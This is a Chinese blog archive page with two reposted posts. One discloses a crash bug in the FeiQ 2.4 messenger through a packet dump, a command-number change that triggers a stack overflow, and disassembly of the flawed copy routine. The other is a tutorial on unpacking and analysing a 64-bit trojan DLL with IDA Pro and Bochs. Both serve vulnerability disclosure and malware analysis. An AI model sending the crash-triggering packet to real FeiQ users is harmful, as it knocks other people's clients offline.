显示标签为“雙機調試”的博文。显示所有博文
显示标签为“雙機調試”的博文。显示所有博文

2011年10月5日星期三

[轉載]飛秋0day


Author: instruder of Code Audit Labs of vulnhunt.com
version:飛秋2.4 修正版

//閃屏振動 數據包


代碼:
00136A70 31 5F 6C 62 74 34 5F 30 23 31 33 31 23 30 30 31 1_lbt4_0#131#001
00136A80 42 32 34 35 37 30 39 42 31 23 30 23 30 23 30 3A B245709B1#0#0#0:
00136A90 31 33 31 32 34 39 31 30 31 39 3A 61 73 6D 3A 41 1312491019:asm:A
00136AA0 53 4D 4B 45 52 4E 45 2D 36 30 44 46 36 46 3A 32 SMKERNE-60DF6F:2
00136AB0 30 39 09

asm:ASMKERNE-60DF6F 是我的主機名,冒號後面是發送的控制命令
將209改成200 即可導致飛秋崩潰


同時控制命令
147
198
199
都有問題

發送200命令後,導致飛秋堆棧溢出了,但是貌似源不可控.


漏洞代碼:

代碼:
00490D66 8B8424 20400000 mov eax, dword ptr [esp+4020]
00490D6D C78424 14400000>mov dword ptr [esp+4014], 0
00490D78 3D 00400000 cmp eax, 4000
00490D7D 7E 18 jle short 00490D97//有符號比較..
00490D7F 8D4C24 04 lea ecx, dword ptr [esp+4]
00490D83 C78424 14400000>mov dword ptr [esp+4014], -1
00490D8E E8 3D3DF7FF call 00404AD0
00490D93 33C0 xor eax, eax
00490D95 EB 63 jmp short 00490DFA
00490D97 8BC8 mov ecx, eax
00490D99 56 push esi
00490D9A 8BB424 20400000 mov esi, dword ptr [esp+4020]
00490DA1 8BD1 mov edx, ecx
00490DA3 8D7C24 10 lea edi, dword ptr [esp+10]
00490DA7 6A 00 push 0
00490DA9 C1E9 02 shr ecx, 2
00490DAC F3:A5 rep movs dword ptr es:[edi], dword ptr [esi]//掛了..
00490DAE 8BCA mov ecx, edx
00490DB0 6A 00 push 0
00490DB2 83E1 03 and ecx, 3
00490DB5 6A 22 push 22
00490DB7 F3:A4 rep movs byte ptr es:[edi], byte ptr [esi]

2011年8月3日星期三

IDA + Bochs 調試器插件進行PE+ 格式DLL脫殼

By :obaby 

在IDA Pro6.1中我們擴展了Bochs調試器插件,現在已經可以進行64位代碼段的調試。在IDA Pro 6.2版本中將有可能實現PE+ 可執行程序的動態調試。由於程序將會在Bochs系統中執行,因而在調試的過程中我們並不需要實際的64位操作系統,因而在實際的調試過程中可以從任何的32位或者64位的Linux,Mac OS 或者Windows操作系統中使用IDA Pro進行64位可執行文件的調試。
為了確認這一項新的功能,我們將進行PE+格式的一個木馬程序進行脫殼並且進行一個大體的分析,這個文件是由MATCODE Software公司的mpress進行壓縮的。我們將會對講解DLL文件脫殼,修復輸入表並且最終修復數據庫來進行分析。

Unpacking the DLL
我們的目標文件是一個木馬的DLL文件,該文件被殺軟識別為“Win32/Giku”。我們從使用idaq64載入DLL文件開始進行分析,載入之後按Ctrl+S鍵打開區段窗口:

打開區段窗口之後注意觀察區段的名稱和mpress壓縮殼設置的區段的屬性。
為了進行DLL文件調試需要確保在啟動之前已經設置調試器的選項設置(“Bochs debugger plugin”)為PE 和64bit emulation 模式。

在啟動調試器之後,注意觀察下面的代碼段,在這段代碼中調用了unpack()函數:

如果我們繼續單步執行到更遠的地方我們將會到達修復輸入表的代碼處,為了實現輸入表的修復程序將會循環調用LoadLibrary()/GetModuleHandle()函數並且在這個循環中會包含另外的一個子循環調用GetProcAddress()。 Mpress外殼通過這兩層循環來實現IAT修復:

在stosq執行之後我們將可以從rdi寄存器中得到IAT結構的起始地址,同樣在兩層循環全部結束之後我們可以從rdi寄存器中得到IAT結構的結束地址。
在IAT修復之後不遠的地方我們可以找到一個跳轉到原始入口點的jmp代碼:

程序的入口點代碼如下所示:

這裡就是脫殼之後的程序的真實的DllEntryPoint()函數了。現在有了程序的OEP和IAT結構的起始/結束地址,我們就可以清空數據庫並且重現脫殼之後的程序了。
Reconstructing and cleaning the database
到這裡有許多的辦法在程序脫殼之後進行清理數據庫清理.通常會包含如下幾步:
1. 定位IAT並且創建一個額外的區段來重現程序的輸入表;
2. 刪除外殼代碼的入口點,並且添加脫殼之後程序的原始入口點OEP;
3. 重新分析代碼;
4. 重新加載FLIRT特徵庫
5. 刪除無用的外殼區段(可選)
其中第一步到第三步可以通過IDA的uunp插件來自動完成,執行菜單中的“Edit/Plugins/Universal unpacker manual reconstruct”即運行該插件:

在插件中填入通過上面的操作得到的數據即可:

點擊確定之後一個新的區段將會被創建,並且代碼段將會被重新分析,在分析完成之後脫殼之後的程序的一個內存快照將會被呈現出來。
現在我們就可以重新引用FLIRT特徵庫了:

在選擇“vc64rtf”簽名(shi​​ft +F5)之後我們可以看到IDA已經成功的識別出了庫函數並且對這些庫函數使用淺藍色進行了標記,這樣可以使得後續的分析工作變得更加簡單。
Analyzing the unpacked code
在代碼解壓之後我們可以通過String Window窗口進行一個快速分析,String Window窗口呈現了一些加密的字符串:

通過交叉引用,我們可以定位到解密函數。在給函數適當的參數之後我們可以直接通過Appcall來解密這些字符串:

我們得到了一個指向加密的文本文件的URL。在深入挖掘之後我們定位到了解密文件的函數:

下面是Appcall版本的decrypt_file()函數:

我們使用這個函數就可以解密spm.txt文件了,解密之後的內容如下所示:

X32.jpg是一個upx壓縮的DLL文件,x64.jpg是一個mpress壓縮的PE+格式的Dll文件。